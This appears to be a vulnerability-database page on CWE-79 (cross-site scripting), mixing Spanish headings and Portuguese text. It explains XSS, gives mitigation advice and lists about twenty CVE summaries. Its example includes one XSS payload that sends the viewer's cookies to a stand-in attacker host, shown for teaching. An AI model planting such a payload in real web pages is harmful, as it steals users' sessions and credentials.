Fallos del tipo CWE-79

29.620 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-9206MEDIUMMAS Companies For WP Job Manager <= 1.0.13 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2022-47968MEDIUMHeimdall Application Dashboard through 2.5.4 allows reflected and stored XSS via "Application name" to the "Add application" page. The storeEPSS 0.4%CVE-2023-47813MEDIUMWordPress Better RSS Widget Plugin <= 2.8.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-47812MEDIUMWordPress Bamboo Columns Plugin <= 1.6.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-12536MEDIUMSourceCodester Kortex Lite Advocate Office Management System client_data.php cross site scriptingEPSS 0.4%CVE-2025-0583MEDIUMaEnrich Technology a+HRD - Reflected Cross-site Scripting(XSS)EPSS 0.4%CVE-2025-22636HIGHWordPress VR-Frases plugin <= 4.0.1 - Reflected XSS to SQL Injection vulnerabilityEPSS 0.4%CVE-2025-51053MEDIUMA Cross-site scripting (XSS) vulnerability in /api_vedo/ in Vedo Suite version 2024.17 allows remote attackers to inject arbitrary JavascripEPSS 0.4%CVE-2025-46959MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2022-41433MEDIUMEyesOfNetwork Web Interface v5.3 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /module/adEPSS 0.4%CVE-2024-9682MEDIUMRoyal Elementor Addons and Templates <= 1.7.1001 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via Form Builder WidgetEPSS 0.4%CVE-2024-5266MEDIUMDownload Manager <= 3.2.92 - Authenticated (Author+) Stored Cross-Site Scripting via Multiple ShortcodesEPSS 0.4%CVE-2023-47811MEDIUMWordPress Anywhere Flash Embed Plugin <= 1.0.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-47810MEDIUMWordPress Ajax Domain Checker Plugin <= 1.3.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-93956MEDIUMolivier-ls PHP-FTS Search SearchEngine.php buildHighlights cross site scriptingEPSS 0.4%CVE-2023-47808MEDIUMWordPress Add Widgets to Page Plugin <= 1.3.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-12522MEDIUMYay! Forms | Embed Custom Forms, Surveys, and Quizzes Easily <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-8740MEDIUMGetResponse Forms by Optin Cat <= 2.5.7 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2026-63459HIGHVendure: Stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptionsEPSS 0.4%CVE-2025-46877MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%